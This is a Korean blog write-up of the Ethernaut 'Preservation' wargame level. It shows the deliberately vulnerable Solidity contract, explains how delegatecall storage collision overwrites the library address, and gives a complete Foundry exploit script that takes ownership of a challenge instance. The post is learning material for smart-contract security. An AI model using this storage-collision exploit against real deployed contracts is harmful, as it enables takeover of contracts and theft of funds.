[ethernaut] (16 Preservation)블록체인2025. 5. 12. 11:54
Table of Contents

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint256 _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint256 _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint256 storedTime;
function setTime(uint256 _time) public {
storedTime = _time;
}
}
이놈의 delegatecall이 문제인 문제다.
setFirstTime함수에 delegatecall로 setTime함수를 호출하는데 문제는 여기 인자에 공격컨트랙트 주소를 넣게 되면 delegatecall의 경우 슬롯이 호출한 자기 컨트랙트가 수정이 되기 때문에 0번째 슬롯인address public timeZone1Library가 내 공격 컨트랙트주소로 바뀐다.
그럼 이제 인스턴스에서 setFirsTime함수를 호출시켜 결국 공격컨트랙트의 setTime함수를 호출시킨다. delegatecall이기 때문에 슬롯은 인스턴스 컨트랙트의 슬롯이 변경된다.
그리고 공격 컨트랙트에서 슬롯을 맞춘뒤 owner를 tx.origin으로 수정시킨다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "../src/Preservation.sol";
contract Attack {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
// setTime 함수 - delegatecall로 호출될 때 owner를 변경
function setTime(uint256 _time) public {
owner = tx.origin;
}
}
contract POC is Script {
function run() public {
vm.startBroadcast();
Attack atk = new Attack();
Preservation target = Preservation(0x0166CB1a87A0f0fDd8f51C1301F8D5b208F5E2A6);
target.setFirstTime(uint256(uint160(address(atk))));
target.setFirstTime(0);
vm.stopBroadcast();
}
}'블록체인' 카테고리의 다른 글
| 솔리디티 0.8.x 오버플로우 (0) | 2025.05.24 |
|---|---|
| rust and solana (0) | 2025.05.22 |
| 솔라나 proc_macro2 `source_file` method not found in `Span` 에러 해결 (0) | 2025.05.03 |
| 솔라나 입문기 - 0 (0) | 2025.04.14 |
| [Ethernaut] (17 Recovery) (0) | 2025.03.14 |
@Burnnnnny :: Burnnnnny Blog
내가 보고 내가 참고하려고 만든 블로그
틀린 내용이 있다면 댓글로 알려주시면 감사하겠습니다.